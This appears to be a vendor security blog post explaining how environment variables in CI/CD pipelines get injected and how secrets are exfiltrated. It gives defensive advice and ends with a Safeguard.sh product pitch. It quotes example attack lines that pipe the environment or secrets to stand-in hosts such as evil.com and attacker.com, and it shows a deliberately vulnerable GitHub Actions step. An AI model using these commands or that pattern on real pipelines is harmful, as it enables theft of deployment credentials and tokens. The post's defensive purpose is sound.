CI/CD pipelines are configured through environment variables. Build secrets, deployment credentials, API tokens, registry URLs, and configuration flags are all passed through the environment. This makes environment variables the most sensitive data store in most build systems, and also one of the least protected.
Environment variable injection -- the ability to set, modify, or read environment variables in a CI pipeline -- can give an attacker access to every secret the pipeline uses.
How Environment Variables Get Injected
Pull request metadata. Many CI systems set environment variables from pull request metadata: the PR title, branch name, commit message, or author. If these values are not sanitized, an attacker can craft a branch name or commit message that injects into environment variable processing.
Consider a CI configuration that sets BRANCH=$(git branch --show-current). If the branch name contains shell metacharacters (like ; curl evil.com/exfil?key=$SECRET), the command injection is straightforward.
Workflow inputs. GitHub Actions allows workflow dispatch inputs that become environment variables. If a workflow uses ${{ github.event.inputs.parameter }} directly in a shell command, any value provided in the dispatch input is injected.
Matrix strategy values. CI systems that support build matrices (testing across multiple OS versions, language versions, etc.) may inject matrix values into the environment without sanitization.
Dependent job outputs. When one CI job passes data to another through output variables, the receiving job trusts the output. A compromised or malicious earlier job can inject arbitrary values.
The Secret Exfiltration Problem
Most CI secrets are exposed as environment variables. An attacker who achieves command execution in a CI job can read every environment variable:
env | curl -X POST -d @- https://attacker.com/collect
This single command exfiltrates every secret in the CI environment. GitHub Actions, GitLab CI, CircleCI, and Jenkins all expose secrets as environment variables by default.
Mitigations exist:
- GitHub Actions masks secret values in logs but does not prevent reading them programmatically.
- Some CI systems support sealed secrets that are only available to specific steps.
- Vault and other secret management systems can provide just-in-time secrets with short TTLs.
But the fundamental problem remains: if code runs in the CI environment, it can read the environment.
GitHub Actions Specific Risks
GitHub Actions has a well-documented vulnerability pattern around expression injection:
- run: echo "PR title is ${{ github.event.pull_request.title }}"
This is directly vulnerable to injection. If the PR title contains "; curl evil.com/exfil, the shell command is modified. The fix is to use an intermediate environment variable:
- env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "PR title is $PR_TITLE"
By assigning to an environment variable first, the value is treated as data rather than being interpolated into the shell command.
GitLab CI Risks
GitLab CI allows variables to be set at the project, group, and instance level. Variables marked as "protected" are only available in protected branches, which provides some isolation. But unprotected variables are available in any pipeline, including those triggered by merge requests from forks.
GitLab's rules:if conditions can reference CI variables in ways that allow injection if the variable values are attacker-controlled.
Defense Strategies
Never interpolate untrusted values directly into shell commands. Always assign to an intermediate environment variable first.
Minimize secret exposure. Only provide secrets to the steps that need them. GitHub Actions' job-level permissions and step-level environment variables help with this.
Use OIDC for cloud authentication. Instead of storing cloud provider credentials as CI secrets, use OpenID Connect to get short-lived tokens. GitHub Actions, GitLab CI, and CircleCI all support OIDC for AWS, GCP, and Azure.
Audit environment variables in CI logs. Monitor for unexpected environment variable access patterns. Log which steps access which secrets.
Restrict fork PR workflows. Do not run CI with secrets on pull requests from forks. Use separate workflows with limited permissions for fork PRs.
Rotate secrets regularly. Even with injection defenses, assume secrets may be compromised. Regular rotation limits the window of exposure.
Use allowlists for environment variables. Rather than exposing all CI variables to all steps, explicitly pass only the variables each step needs.
How Safeguard.sh Helps
Safeguard.sh helps you maintain visibility into the dependencies that run in your CI/CD pipelines. When a CI-relevant dependency has a vulnerability that could be exploited for environment variable injection or secret exfiltration, Safeguard.sh alerts you with the context needed to assess the risk. For organizations where CI/CD pipelines handle deployment credentials and signing keys, this dependency monitoring is a critical layer of pipeline security.